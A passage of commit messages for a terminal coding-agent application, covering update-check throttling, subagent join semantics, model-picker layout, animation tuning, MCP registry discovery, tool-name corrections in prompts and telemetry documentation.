the synonyms in the heading and first line, the surfaces that show the live
value, the TOML and CLI forms, the five-rung resolution order with the exact
source labels the product prints, and the adjacent knobs
(auto_compact_threshold_percent, CODEWHALE_MAX_OUTPUT_TOKENS). Cross-linked
from the gateway section and the Key Reference bullet.
No behavior change: the resolution order, defaults, and thresholds are
described as they already are, not altered. The /config row stays read-only —
making it editable needs a persist path wired through the config view and is
worth its own change.
Tests: status_report_names_context_window_source_and_override_key,
config_view_filter_finds_context_window_by_user_vocabulary.
The TUI has told users about new releases since #3961/#14, but it asked
GitHub on every single launch and always advertised `codewhale update` --
which is the wrong command for most installs and actively harmful for some.
This adds the "throttled" half of #5053 and fixes the wording.
Throttling. `codewhale-release::check` caches the answer in
~/.codewhale/update-check.json and reuses it for `check_interval_hours`
(default 24). The cache stores the *tag we last saw*, not a "checked
recently" flag: a user on a stale binary still sees the notice on every
launch while the network is touched once a day. Caching only a timestamp
would have hidden the notice for the whole interval, which is the opposite
of the point. A failed check is deliberately not cached, so an outage does
not suppress the notice until tomorrow.
Suppression. Checks are skipped without touching the network in CI
(CI, GITHUB_ACTIONS, GITLAB_CI, ...) and on CODEWHALE_NO_UPDATE_CHECK or
NO_UPDATE_NOTIFIER. Values of "", 0, false, no, off do not count as set, so
a `CI=false` export does not disable checks for ordinary users. The
decision is factored into a pure `resolve_version_check_source` so this
repo's own CI run does not change the answer under test.
Install-method awareness. `codewhale-release::install` classifies the
running binary from its path -- npm (node_modules), Homebrew (Cellar /
linuxbrew), cargo (~/.cargo/bin), or a plain release binary -- and the
notice now names that manager's command. Package-managed installs also get
an explicit warning against `codewhale update`: overwriting a binary
Homebrew or npm owns leaves the manager describing a version that is no
longer on disk, and its next upgrade silently reverts the user. `codewhale
update` itself prints the same warning before proceeding; it warns rather
than refuses, since the download still yields a working binary and refusing
would break workflows that have relied on it. Homebrew intentionally points
at the legacy `deepseek-tui` formula -- no `codewhale` formula is published
yet, and naming one that does not exist would hand the user a failing
command.
Nothing is installed without the user asking. The check remains
fire-and-forget: it never delays startup and never blocks a turn.
Still open on #5053: the one-chord update-and-relaunch. Left out rather
than half-wired -- running a package manager on the user's behalf from
inside the TUI needs a confirmation surface and a clean re-exec path that
this change does not build.
Tests: 6 new in codewhale-release (cache freshness, clock skew, atomic
round-trip, corrupt cache, install detection), 5 new in the TUI (CI
suppression, cache hit answers offline, failure is not cached,
install-specific wording), 1 in the CLI updater.
Operate told the model to "keep the parent responsive" and to "return control
instead of busy-waiting". Read alongside a wait that could only join one child
at a time, that framed the obvious shape — launch the batch, block once,
synthesize — as a dereliction, and pushed the model toward exactly the poll
loop the rest of the prompt forbids.
The line belongs elsewhere: polling in a loop is the anti-pattern; one
blocking wait is not. Item 3 now states the fan-out join as the endorsed
default and demotes returning control to what it actually is — the exception,
for when the user is waiting on an answer now or wants the turn back during
long child runs. The responsiveness obligation is gone; a regression test
asserts it stays gone and that the join stays endorsed.
Rewritten to land at exactly the existing 1671-byte Operate ceiling, so the
runtime-contract budget holds without loosening it.
`agents/wait` and `agent(action="wait")` could only block until *a* child
showed activity or settled. A parent that dispatched five children had to
issue five waits to collect them — while the same tool's own copy told it not
to poll. That contradiction is what the owner watched a live model reason its
way into, concluding it had to stay available for its children rather than
simply joining them.
`until="all"` is the missing join. It blocks until every child that was
running at call time has left running, then returns each child's outcome in a
single payload, so the parent can synthesize without re-inspecting anyone.
Semantics worth stating:
- The watch set is fixed at call time. A child spawned mid-wait is not folded
in: the caller asked to join the batch it had just dispatched, and silently
extending the set would make the call unbounded in a way it never asked for.
Fan out again, wait again.
- Zero running children returns immediately. It must never look like a hang.
- `timeout_secs` still bounds the block, and a timeout is a partial receipt
naming both the settled children and the ones still running — not an error.
- A watched child that disappears from the ledger under retention cleanup is
reported as gone rather than blocked on forever.
- Cancel-safe: no lock is held across an await.
Both surfaces now route through one `coord::dispatch_wait`, so `until` cannot
come to mean different things depending on which tool the model reached for.
No tool was added or renamed, so the runtime-contract identity digest — which
hashes the tool name set — is unchanged.
The `/model` picker computed rich per-row metadata and then threw all of it
away. Rows rendered as `label (hint)`, and the hint was appended only when
the whole string fit:
if used + width(hint_text) <= width { spans.push(...) }
The model pane is capped at 52 columns by the shared list/detail split, while
a hint reads `key saved · not checked · 1M ctx · 384K out · tools · reasoning
· no vision · priced · bundled` — ~98 columns. The condition was therefore
false at every real terminal width, so a `/model` search for "deepseek"
produced 47 rows carrying nothing but their near-identical ids, several of
which were byte-identical to each other.
Rows are now laid out in three measured columns — wire id, route identity,
varying facts — each truncated on its own budget:
▸ deepseek-v4-flash DeepSeek 1M · reasoning
● deepseek-v4-pro DeepSeek 1M · reasoning
🔒 deepseek-v4-pro DeepSeek anthropic 1M · reasoning · missing key
🔒 deepseek-ai/DeepSeek-V4-Pro SiliconFlow (China) 1M · reasoning · missing key
🔒 DeepSeek-R1 TelecomJS TokenHub 128K · no reasoning
What changed, and why each part was load-bearing:
* The route moves out of the id's prefix into its own aligned column. It was
`"DeepInfra · deepseek-ai/DeepSeek-V4-Pro"`, which pushed the id to a
different offset on every row and made the list unscannable.
* Providers that share a display name are disambiguated from their provider
id. `deepseek` and `deepseek-anthropic` are both spelled "DeepSeek", so two
genuinely different endpoints rendered as the same string; the second is
now "DeepSeek anthropic".
* Identifiers truncate from the middle. Model ids share their heads and
differ in their tails, so end-clipping deleted the only distinguishing
token — `deepseek-ai/DeepSeek-V4-Pro` and `...-V4-Flash` both became
`deepseek-ai/DeepSee...`.
* The metadata column keeps only what varies between rows. `tools`,
`no vision`, `price unknown` and `bundled` read identically on forty of the
forty-seven DeepSeek rows; carrying them is what pushed the context window
and reasoning stance off the line. Unknown facts stay blank rather than
guessed, and the column sheds whole facts instead of half-words.
* The Thinking pane is capped at the width its fixed vocabulary needs, so the
surplus goes to the model rows instead of padding blank space.
* The marker cell is padded to the width of the lock emoji. It is two columns
where `▸` is one, so a single locked row previously shifted every column on
its line. The active route is marked with the charter's `●` so "which am I
on?" is answered by shape, leaving the accent colour to selection alone.
Metadata is sourced from the existing `EffectivePickerMetadata` (registry,
catalog offering, capability profile) and `provider_readiness`; no new facts
are introduced and no third-party roster claims are added.
Verified in an isolated worktree at the same base: 710 `model` tests pass,
including a new test asserting that no two visible DeepSeek rows render as the
same string and that each keeps its context window and reasoning stance at
120, 100 and 80 columns. `cargo clippy -p codewhale-tui --all-targets`
reports nothing for this file.
Owner feedback: the ambient water is obnoxious, and the jellyfish is the
part that keeps getting in the way. It was resident scenery, not
incidental life - two of them, one in each side lane, permanently on
screen, swinging from 0.35 to full ink every 2.9 s while the dome and
skirt glyphs swapped underneath. Presence plus that swing is what pulls
the eye off the transcript.
Rarity. One jellyfish at most at every tier, and it now visits: it
climbs JELLY_VISIT_ROWS rows of a JELLY_VISIT_CYCLE_SLOTS-slot cycle and
spends the remaining slots out of sight. At the values here that is
about 56 s of presence in a ~5 min cycle - under a fifth of the time.
This also retires the old modulo wrap, which snapped the creature from
the top row back to the floor in one frame.
Calm. The pulse slows 2.9 s to 5.2 s, its glow is bounded by an explicit
JELLY_BRIGHTNESS_CEIL instead of running to full ink (0.28..0.62 rather
than 0.35..1.0), the tentacle sway slows 1.4 s to 2.6 s with its phase
step scaled to match, and the dome drops to Background ink so it sits
with the tentacles instead of a layer nearer than anything else in the
lane. Every number is a named constant stating the intent it encodes.
Reduced motion. `life_presence` checks its completion-breath branch
before its `!animated` check, and the call site fed it
`app.ocean_completion_started_at` raw. A reduced-motion session
therefore got a full field of fish and jellyfish for ~1.4 s after every
successful turn - exactly while the user was reading the result. Both
the column flourish and life presence now read one motion-gated clock.
The module header claimed reduced motion kept entities visible but
static; it does not, and now says so.
Numbers are a judgment call and cannot be settled by tests. Verified in
an isolated worktree at HEAD: ambient, jellyfish, underwater,
empty_state, reduced_motion and the 220-test widgets suite are green,
and `cargo clippy -p codewhale-tui --all-targets -- -Dwarnings` is
clean. The rail/ocean failures in tui::ui::tests are pre-existing at
HEAD and belong to another lane.
Reported against DeepSeek V4 Flash: ambient jellyfish jump across the
water instead of drifting, and only on fast models.
The ambient *clock* is not the coupling. `App::sample_ambient_clock_ms`
already advances by real elapsed time clamped to `AMBIENT_MAX_STEP_MS`
per draw, sampled once per frame in `ui::render`, so drift speed is the
same at 16 ms and 33 ms frames and a stalled frame cannot jump a
creature. Verified rather than assumed.
The coupling is sideways *placement*. A jellyfish is the one entity
allowed to relocate to clear transcript text, and `paint_marks` picks
its anchor every frame as the nearest column that clears the occupied
bounds of the three rows under the silhouette. Those bounds are pure
transcript content, so under a fast stream they change every frame: a
growing line pushes the anchor one column per character, and a wrap or a
scroll collapses the row and snaps the anchor back tens of columns in a
single frame. That is the teleport, and its size scales with tokens per
frame, which is why slow providers never surfaced it.
Bound the dodge to JELLY_MAX_TEXT_DODGE_COLS. A jellyfish may still ease
around a word that brushes its lane; anything larger is a relocation
rather than a drift, so the silhouette is withheld instead - the same
quiet outcome the fish already have. Worst-case frame-to-frame movement
is now twice the cap.
The x=33 placement test encoded a 17-column vault, so it is rewritten to
assert the withhold. A new test replays a line streaming across the lane
in bursts (a character per frame is the slow model, and is exactly why
this looked fine before) and fails if the anchor leaves its lane.
Verified in an isolated worktree at HEAD: ambient suite green, clippy
--all-targets clean. The one rail_strip_and_whale_swap_at_the_ambient_width
failure is pre-existing at HEAD and belongs to another lane.
Steer the model to consult the public MCP Registry before reaching for
shell commands or hand-written code:
- registry_sync: fetch the eligible zero-environment stdio catalog
(full pagination to completion, bounded retry on fetch failure) and
atomically replace the local cache (no merge, TTL, or eviction
bookkeeping); result is kept intact through compaction/spillover so
the model sees every candidate
- start_registry_mcp_server: structured launcher that only starts cached
Registry packages with host-constructed commands; no free-form command
or env channel
- Registry-first policy injected into the initial system prompt and the
exec_shell description while MCP is enabled (feature-gated)
- runtime MCP connections merge their tool schemas into the current turn
so newly started servers are callable immediately
- mcp-discovery bundled skill (v8)
Full Access / --auto now auto-approves start_registry_mcp_server: it is
host-constructed and cache-bound (unlike start_mcp_server's free-form
command), so automation can complete discovery end to end; Ask mode still
requires approval. Registry-launched servers get a 60s connect budget for
npx/uvx cold starts instead of the 10s global default; the override is
host-supplied only and not exposed on the model-facing schema.
Verified end-to-end: model ran registry_sync, matched a Registry server
covering document conversion, started it, and converted a markdown file
to PDF through its MCP tools without hand-written shell code.
Signed-off-by: Sun Zhenyuan <zhenyuan.sun@163.com>
The branch was not at zero clippy warnings, contrary to what the release
notes claimed. `cargo clippy --bin codewhale-tui` skips test targets and
misses both — the canonical gate is `--all-targets`, as crates/tui/AGENTS.md
warns.
- `sidebar.rs:161` work_panel_lines has no production caller: it became a
default-opts shim when the goal title moved to the strip and production
switched to work_panel_lines_with_opts. All five callers are inside
`#[cfg(test)] mod tests`, so gate it to test builds rather than delete a
helper the tests read better for.
- `work_surface/mod.rs:708` manual_range_contains, from f3cdc3485.
WIP because the gate itself could not be run to confirm: another lane has
codewhale-execpolicy mid-edit and the workspace does not compile right now.
Re-run `cargo clippy -p codewhale-tui --all-targets -- -Dwarnings` before
the release build.
The roadmap listed under Underway: "SQLite + FTS5 backend with
graph-structured agent memory and multi-signal recall". Every clause was
false against the code. `native_memory.rs:3` says Markdown is the durable
source of truth and SQLite is a rebuildable index that may be deleted at
any time; there is no graph code in the repo; recall is single-signal.
Says what shipped and keeps the graph/multi-signal work as still ahead,
in both EN and ZH.
`streaming/chunking.rs` carried ~460 lines and eight hysteresis constants that
could not change what the user saw. `DrainPlan::Single` was constructed
nowhere, and all three `decide()` return paths yielded `DrainPlan::Available`,
so `run_commit_tick` always drained the whole queue. The mode the policy
tracked fed exactly one `tracing::trace!` and a test-only accessor. Reduced
motion routed `MotionPolicy::as_low_motion` into it every frame, which
likewise changed nothing.
`LineBuffer` was in the same state. Its docs promised a partial code fence
could never reach the renderer, but both `StreamingState` constructors set
`bypass_gate: true`, so nothing was ever pushed through it. That protection is
real one layer down -- `ParseState::commit_complete_lines`
(tui/markdown_render.rs) commits only whole lines and re-parses the trailing
partial line each tick -- so the gate is deleted rather than switched on:
enforcing it would hold assistant prose until a newline arrives, which is the
chunkiness the 16 ms beat exists to remove.
What remains is what was actually running: `StreamBuffer` accumulates raw
deltas and a commit beat takes everything received since the previous beat.
`StreamChunker`'s per-delta `VecDeque` and enqueue timestamps existed only to
build snapshots for the dead policy, and its `pending` field was never
written. The per-block `MarkdownStreamCollector` survived only as an
`is_thinking` / `is_streaming` flag holder once the gate went, and
`start_text` / `start_thinking` took a `width` that every caller passed as
`None`.
`StreamDisplayClock` is deliberately unchanged, including
`note_delta_with_backlog`: that path feeds the clock's own catch-up, not the
deleted policy. It is still staged rather than live (every drain site passes
queued = 1) and docs/MOTION_CONTRACT.md keeps saying so; the doc also stops
claiming ~30 FPS now that the beat is 16 ms.
The three deleted files were swept into 7d425158c by a concurrent lane while
they sat staged; this commit carries the rest of the change.
Two headers competed for the top of the strip: the goal title, then a
pinned "N/M done" receipt on its own row in accent_primary + BOLD. At
>=72 columns the receipt now rides right-aligned on the goal row, which
recovers a transcript row and leaves one focal point instead of two.
Narrower strips keep it on its own row.
Either way it renders in text_muted. accent_primary means "selected"
everywhere else in the strip, and spending it on a static count was most
of why the actual selection was hard to find.
`progress_shares_goal_row` is a pure function of width and whether there
is a goal title, because `height` and `render` must agree or the strip
paints into a row it did not reserve.
Verified: cargo test -p codewhale-tui --bin codewhale-tui -- work_surface::
(67 passed).
docs/MCP.md still said the model-visible MCP tool pool "is not hot-reloaded"
and that the manager marks it restart-required until the TUI is restarted.
That stopped being true when 7429bf440 routed `/mcp reload` through the
engine-owned pool; the code change shipped without the doc update, and #4068
was filed against the doc's description rather than the binary's behavior.
Actual behavior: `McpUiAction::Reload` calls `EngineHandle::reload_mcp`
(tui/src/tui/ui.rs:12903), which reaches `Engine::reload_mcp_pool`
(tui/src/core/engine.rs:5052) and re-reads config plus reconnects on the same
pool `mcp_tools()` builds the model catalog from. The manager pager says
"run /mcp reload to rebuild the live model-visible tool pool"
(tui/src/tui/mcp_routing.rs:13) — reload-required, never restart-required.
Also corrected the two other stale restart instructions (Hugging Face setup
step 4, `mcp_config_path` change), which the same commit had already fixed in
the binary's own messages, and recorded the one place a restart is still
required: the headless `ConfigReload` app-server request does not refresh MCP
connections.
No code change; this only makes the doc match the shipped binary.
`config.example.toml` shipped `memory_path = "~/.codewhale/memory.md"` and
three docs implied that file is what gets written. Under the Native backend
— the only backend — the filename is discarded and the store is re-rooted to
`<parent>/memory/global/MEMORY.md`. Users who pointed the setting at the
native layout path double-nested the tree.
States the re-rooting explicitly in the example config, CONFIGURATION.md and
MEMORY.md, and names the resolved path for the shipped default.
Three silent-substitution paths, all found chasing the uppercase-model
report (FINAL-FIXES item 4):
- OpenCode Go rewrote any id outside its allowlist to the provider default
(`unwrap_or(DEFAULT_OPENCODE_GO_MODEL)`). Sending a different model than
asked for is worse than erroring; unknown ids now keep the caller's
spelling so the route layer can reject them by name.
- XiaomiMimo and OpenaiCodex ignored a root `base_url` and then dropped a
root-configured model entirely, so a minimal top-level config silently
fell back to the official host with the seed model. Both now honour the
root endpoint when their own table has none, and honour a root
`default_text_model` that names one of their ids.
- `/config`'s save path used the provider-only, non-route-aware gate, so
saving on a custom deepseek endpoint rejected a non-DeepSeek id the live
session was already running. It now matches the request path. OpenCode Go
stays protocol-strict even on a custom host.
Verified: cargo test -p codewhale-config; cargo test -p codewhale-tui
--bin codewhale-tui -- config:: work_surface:: (563 passed).
The Top projection dropped every non-selectable row, so running workers
appeared as a flat continuation of the to-do list with nothing naming them.
GrokBuild's tasks pane puts the count in a group header instead of a panel
title; do the same here — `Subagents N` sits between the to-dos and the
workers, and only when workers exist.
Headings render in text_muted rather than accent_primary: accent is
reserved for selection and focus, and a header painted like a live row was
most of why the strip read as loud. height() now counts group headers so
auto-fit still matches what is painted.
Verified: cargo test -p codewhale-tui --bin codewhale-tui -- work_surface::
(563 passed with the config lane).
File reads that hit the 16 KiB byte budget now keep head = budget/5 plus
the matching tail (with a CONTENT TRUNCATED marker) and name the original
path for re-read. Shell output truncation uses the same head=threshold/5
ratio so the bulk of the bound stays on the high-signal tail.
#5212 spillover already persists full tool output under a session artifact
and names the absolute path in the model-facing footer; tests continue to
assert that recovery path.
Verified: read_file_byte_truncation_*, apply_spillover_*, shell truncation
tests pass under cargo test -p codewhale-tui --bin codewhale-tui.
Single notation across footer, tool cards, thinking, and agent details:
platform glyph (⌥V on macOS, Alt+V elsewhere), short verb, middle-dot
separator. Drop dual "Alt/⌥V" spellings and sentence-style "opens …"
copy so chrome stays less noisy and one source of truth (shell_key_routing
+ tool_details_shortcut_action_hint) drives every surface.
Verified: tool_details_hint_*, alt_v_is_truthful_*, history affordance and
thinking tests pass under cargo test -p codewhale-tui --bin codewhale-tui.
- source-structure: reviewed add of the codewhale-telemetry package
- runtime-contract: full tool catalogs now include send_later on Plan/
Act/Operate; ceilings and representative-context identities locked
to the measured provider-free receipt after the agent write-scope
schema text update
Write-capable agent starts without write_roots/exact_files/
coordination_contracts previously rejected. Default them to the parent
workspace root (".") instead so ordinary implementer/general launches
are usable without ceremony. Prompt-only general still starts
read-only; paths that escalate outside the parent workspace keep
failing closed via claim path normalization.
DEFAULT_STREAM_COMMIT_INTERVAL was 33ms (~30 FPS). Move to 16ms so
visible transcript commits track a normal animation frame budget.
Adaptive chunking still always drains Available (DrainPlan::Single is
dead) but mode hysteresis remains useful for catch-up; leave that path
intact rather than a large deletion.
recover_terminal_modes() armed both EnableMouseCapture and xterm
alternate-scroll mode (DECSET 1007) when mouse capture is active.
1007 converts wheel input into arrow keys, and terminals disagree
about which takes precedence when both are enabled — iTerm2 converts,
so wheel events arrive as Up/Down keys and trigger composer
input-history navigation instead of transcript scrolling.
Mouse reporting is the authoritative wheel channel while capture is
on, so 1007 must stay off there too; the no-mouse-capture contract
from #4026 already leaves it off. Drop the now-unused
enable_alternate_scroll_mode() helper and flip the CSI-sequence
assertions to expect the reset instead of the enable.
Verified: cargo test -p codewhale-tui --bin codewhale-tui --
alternate_scroll recover_terminal_modes resume_tui_child_modes
#5209: reject unknown/wrong edit parameter names (e.g. new_str) with an
explicit message naming `replace`/`search`, and only emit a success
receipt after on-disk write verification. Stop vetoing legitimate
unbalanced search/replace pairs that share the same brace/bracket
delta; keep empty-bracket-collapse and extreme-shrinkage guards.
Spell numeric hunk header form in apply_patch errors. Advertise
operate (not yolo) in tasks create mode enum.
Rail unification fixed non-Tasks panels at four rows with a loud panel
name. Top now auto-fits content like Tasks always did; Left/Right collapse
when empty and keep configured width as the ceiling. The only Top title is
an active goal (shared with the ocean header chip) — never "Pinned".
Verified: cargo test -p codewhale-tui --bin codewhale-tui -- work_surface::
(67 passed).
The wire exists to put the people behind the repository on the front page. dependabot[bot] dependency bumps and github-actions[bot] close sweeps were spending slots that belong to human contributors — the same crowding-out the draft filter already addressed.
Decision handed to me by the ticker work: filter by GitHub's own [bot] login suffix (its verdict, not our inference). Bot-authored issues and pulls stay off entirely; a published release keeps its slot no matter who pushed the button, but a bot publisher's byline is dropped instead of named.
Two new tests pin the filter and the byline-less release.
The module is called the "rail" and the "work surface", but
WorkSurfacePlacement defaults to Top, so it renders as a horizontal strip under
the header. Readers — human and model — keep looking for "the top bar" in
underwater.rs or the footer and not finding it, because nothing in the naming
says the default orientation is horizontal.
Also records the two settings that are routinely conflated: placement (where it
renders) and panel (what it shows), so the word "Pinned" on screen reads as a
panel name rather than a state.
The ticker printed `ISS #1234 title · 3h` for whatever the issues and pulls
endpoints last touched. It proved the repo was awake and nothing else: no
merges, no releases, no names, and English chrome on nine translated pages.
It now reports events, in the reader's language, with the person who did the
work named:
- Merged pull requests carry the contributor's handle. `merged_at`,
`author_association`, and the login all arrive in the list payload we
already fetch, so naming @bistack or @shenjackyuanjie beside their merge
costs nothing extra.
- Opened and closed issues carry who filed them.
- Releases appear. That is the one added endpoint — `/releases?per_page=5`,
cached an hour, ~1 request/hour. Three cached calls total, ~13 req/h
unauthenticated against GitHub's 60/h/IP, and no per-item follow-ups.
- GitHub's own FIRST_TIME_CONTRIBUTOR verdict marks a newcomer's
contribution. Copied verbatim, never inferred from the size of the window
we happened to fetch, and it stops on its own as GitHub recomputes it.
Two honesty fixes the live render forced:
Each verb is now dated by its own event — `merged_at`, `closed_at`,
`published_at` — not by `updatedAt`. An issue opened in March and commented
on this morning was reading as "opened, 12 minutes ago".
Drafts are gone from the strip. A draft is its author's own not-ready
marker, and on this repo agents open them in batches: five of the twenty
items in the first live check were draft PRs from one bot, crowding out the
merges. They return the moment they are opened or merged.
A busy week could also bury the newest release entirely, so a release
published in the last sixty days keeps a slot — carrying its real date, so a
quiet quarter still reads as a quiet quarter rather than pinning an old tag
beside today's merges.
Verbs, the by-line, the first-contribution mark, and the strip's aria-label
are dictionary keys in all ten locales; titles, tags, and handles are the
repository's own record and stay verbatim. Ages format through CLDR off the
locale's existing `dateLocale`, the same way the masthead already sets its
date, with the compact English form as fallback where Intl data is missing.
Empty stays empty: an unreachable or fully-filtered feed removes the strip
rather than rendering a skeleton. Reduced motion now lets the frozen track
scroll instead of clipping every entry past the fold.
Verified: tsc, check:locales, check:facts, check:docs, 248 tests, lint, and a
288-page production build all clean. Live `next dev` against the real repo
rendered 15 entries on /en and /zh — merges by @Inference1 and @h3c-hexin,
issues by @vFONGv, @bistack, @shenjackyuanjie, @rafaelcavalheri, the v0.9.3
release, Chinese verbs and relative times throughout. Pointed at an
unreachable repo, both locales render fully with no ticker and no leaked
dictionary tokens.
`work_update` replaces the whole todo list on every call. The V9 guard rejected
any patch carrying a state for a terminal node, without checking whether the
state was actually changing — so the first cancelled item poisoned every later
update, and the tool became unusable for the rest of the session.
The error then told the model to "use Supersede to replace it". `work_update`
does not expose Supersede; the word appears nowhere in tools/todo.rs, whose
status enum is pending|in_progress|completed|cancelled. So the advice named a
capability the caller could not reach, and the only escape a model found was to
drop the item from the list — silently losing tracked work.
Observed live in a dogfood session: work_update failed twice in a row, and the
model reasoned "I'll go with removing it" before continuing.
The invariant itself is right and is kept: a node still cannot move OUT of a
terminal state. Only the idempotent replay is now allowed, and the message names
the actual transition it refused plus what is and is not permitted.
Receipt: cargo test -p codewhale-tui --bin codewhale-tui work_graph
-> 42 passed; 0 failed. The existing test that patches a terminal node to
Active still expects V9 and still passes.
Two independent bounds governed a read: DEFAULT_READ_LINES = 200 and
MAX_VISIBLE_BYTES = 16 KiB. For prose the line cap always won first — a
229-line, 12 KB document truncated at line 200 with a third of the byte budget
unspent, charging a second round trip to fetch 29 lines. Observed live: a model
reading a 229-line release document spent three turns re-reading ranges it
should have received once.
The real cost of a read is bytes of context, and MAX_VISIBLE_BYTES already
enforces that. The line default now equals the hard max, so it only guards
pathologically short lines, where 500 lines is a small read anyway.
For scale, every peer harness is far more generous than our 200/16 KiB:
piagent and qwen-code default to 2000 lines, kimi-code to 1000 lines or 100 KB,
opencode to 2000 lines / 50 KB. Raising the ceiling further, and adopting
qwen-code's persist-and-point recovery for genuinely oversized reads, is
specified for the release agent rather than done here.
Receipt: cargo test -p codewhale-tui --bin codewhale-tui tools::file
-> 87 passed; 0 failed.
aecdecaca made an empty Pinned panel collapse to zero rows and moved the
work_surface copy of this test to RailPanel::Agents, but missed the twin in
ui/tests.rs. It failed deterministically for the right reason: an idle Pinned
panel now reports 0 at every size, which has nothing to do with the height
preference the test is about.
Receipt: cargo test -p codewhale-tui --bin codewhale-tui
a_user_who_asks_for_a_short_strip -> 1 passed; 0 failed.
Every string here reaches a model. `read_file`, `exec_shell`, `write_file`,
`apply_patch`, and `run_verifiers` are unregistered — `resolve` has deliberately
no fuzzy step (crates/tui/src/tools/registry.rs:313-316, "a hallucinated name
must fail, never dispatch"), so a model that follows this guidance gets
`tool '<name>' is not registered` rather than a recovery.
crates/tui/src/tools/file.rs — six recovery strings and the truncation footer
told the model to "call read_file with path=…". The footer at :389 fires on
every read over 200 lines, so it was the highest-frequency instance in the
product. These strings pass through to the model untouched
(file_tool.rs:262 returns the inner Ok/Err). Now they name `File` with
`action: "read"`. Same for the three `edit_file …` / `read_file cannot expose …`
error prefixes, which now say File `edit` / File `read`. The module doc now says
outright that these handler `name()` values are internal dispatch keys, not
model-facing names.
crates/tui/src/prompts.rs — the zh-Hans, ja, pt-BR, and vi locale preambles used
"`read_file`, `exec_shell`" as their canonical examples of names that must not
be translated. The same file already asserts the opposite for write guidance
(prompts.rs:1777-1783, "must name the live Bash tool and never the retired
exec_shell name"). Worse, the rot was test-locked: prompts.rs:1985 asserted the
zh preamble *contains* `read_file`. That assertion now requires `File` and adds
a negative guard, so the retired names cannot come back through this door.
`tool_descriptions_carry_edit_and_shell_guidance` gained the same treatment.
crates/tui/src/tools/subagent/mod.rs — the `agent` tool's own description said
"Prefer type=implementer … and type=verifier (or run_verifiers)". `implementer`
is not in FLEET_ROLE_SCHEMA_VALUES (mod.rs:376-385), which is the closed `enum`
on the `type` property at mod.rs:6725, and the comment directly above that array
says legacy aliases are "never advertised to models". Now `builder`, and the Run
tool with `action: "verifiers"`.
Bundled skills (include_str!'d into shipped prompts via skills/system.rs, all in
BUNDLED_SKILLS, auto-installed for every user):
- delegate/SKILL.md — `"type": "explore"` → `scout`, `"type": "implementer"` →
`builder`, in copy-pasteable JSON the model reproduces verbatim.
- best-of-n/SKILL.md — `"type": "general"` → `worker`, `implementer` → `builder`.
- help/SKILL.md — "`read_file` is the right tool", two lines after its own rule
"Do not guess at flags, config keys, or paths".
- pdf/SKILL.md — "the built-in `read_file` tool".
- handoff/SKILL.md — step 3 sent the handoff to `codewhale-ops/notes/`, repo root
`HANDOFF.md`, or `docs/handoff/…`, and never named `.codewhale/handoff.md` —
the only path the runtime reads back (HANDOFF_RELATIVE_PATH, prompts.rs:85;
loader prompts.rs:301-315, injected as "## Previous Session Relay"). `rg` shows
nothing in the repo reads the three paths it taught, so a handoff written by
following this skill was never picked up and the next session started cold. The
fix is additive: write `.codewhale/handoff.md` always, human copies optional.
crates/tui/src/skills/system/tests.rs now guards all four skills against
`read_file`/`exec_shell` rather than pinning `read_file` into pdf/SKILL.md.
crates/tui/src/tools/pandoc.rs — "instead of shelling out to pandoc via
`exec_shell`". Unlike the hidden File/Web handlers, pandoc_convert is registered
under its own name (registry.rs:676-677), so this description is genuinely in the
model's catalog whenever pandoc is on PATH. Now `Bash`.
crates/tui/src/tools/fim.rs — "The tool calls DeepSeek's FIM endpoint". The
implementation is provider-neutral: client.rs:3484 builds the URL from the active
route's own base_url and client.rs:3475-3483 gates on wire format, not vendor, so
every ChatCompletions provider is supported. fim_edit is in the default tool set
(registry.rs:1037), so on a GLM or Kimi session the model was told a tool hits a
vendor it is not talking to — and it privileged one provider, against the
stewardship rule in AGENTS.md.
Doc comments only, no behavior:
- hooks/config.rs:38 — "changes modes (Plan, Agent, Yolo)". The contract is
Plan / Act / Operate (runtime_policy.rs:5-6); no Yolo mode exists.
- prompts/text.rs:22 — listed a sixth assembly layer, "Legacy compatibility
prompt", that does not exist in the file (`rg -i legacy` on text.rs is empty),
and pluralised "Personality overlays" for the single CALM_PERSONALITY.
- tui/phase_strip.rs:8 — described deferring to the Classic shell, removed in
0.9.4 (ocean.rs:35 migration shim; OceanTreatment is Ombre | Flat only).
- skills/catalog_matrix.rs:465 — the maintainer-skill exclusion list named
`gh-plan-issues`, deleted from docs/skills/ in 18de2ebc0, so that entry
asserted vacuously.
Verified: `cargo test -p codewhale-tui --bin codewhale-tui` — 9633 passed, 3
failed, all three outside this diff and pre-existing at HEAD:
`tui::ui::tests::a_user_who_asks_for_a_short_strip_keeps_it_at_every_terminal_size`
(rail-strip work in ui/tests.rs, not touched here),
`fleet::host::tests::fleet_worker_env_carries_telemetry_off` (concurrent
telemetry-endpoint change in crates/telemetry), and
`runtime_threads::tests::caller_cancellation_after_engine_acceptance_keeps_owned_turn_lifecycle`
(turn-wait timeout). The file, prompts, and skills suites this commit does touch
pass: tools::file::tests 77/77, skills:: 202/202.
`docs/public-surface-facts.json` listed `update_plan` in
`toolSurface.defaultActive`, and `public-surface-contract.test.ts` pinned that
same ten-name list in two places plus its own title. The code has never agreed:
`DEFAULT_ACTIVE_NATIVE_TOOLS` (crates/tui/src/core/engine/tool_catalog.rs:44)
holds eight names, `tool_search` is synthetic and always active for nine total,
and `update_plan` does not appear in tool_catalog.rs at all. It is a real tool,
just not a default-active one.
Found because a docs pass corrected `docs/TOOL_SURFACE.md` from "ten" to "nine"
against the code, which turned the contract test red. The doc was right and the
facts file was wrong, so the fix is to the facts file and the assertions rather
than to the doc — the test caught a genuine drift in our published surface
description, which is what it is for.
Receipt: cd web && npm test -> 28 files, 235 tests passed, exit=0;
npm run check:facts -> OK.
Every "ships with no endpoint configured" claim in this repo was written when
it was true. It stopped being true when the ingest Worker was deployed and the
client default was wired, so each of those sentences is now a false statement
about a live service. Rewrite them from what the service actually does.
Named plainly, everywhere: batches from an enabled session go to
https://telemetry.codewhale.net/v1/telemetry, a Cloudflare Worker whose
complete source is in this repo under telemetry-ingest/. Storage is Workers
Analytics Engine, whose row is exactly `_sample_interval`, `blob1`-`blob20`,
`dataset`, `double1`-`double20`, `index1`, `timestamp` — there is no IP,
country, or geo column, so storing one is structurally impossible rather than
switched off. The handler reads two headers, never touches the request's geo
properties, logs nothing, and rate-limits on `install_id` rather than an
address. Retention is Cloudflare's fixed three months. `docs/TELEMETRY.md`'s
shipping-gate section becomes a description instead of a promise, and the
retention line it left blank is filled in.
What did NOT change, and is stated at least as loudly as before: telemetry is
opt-in and off by default; nothing is collected, and the telemetry directory is
not created, until the first-run notice is answered with Enable; the endpoint
default decides only where an already-enabled session sends, never whether one
collects; `CODEWHALE_TELEMETRY=0`, `telemetry = false`, and a persisted off
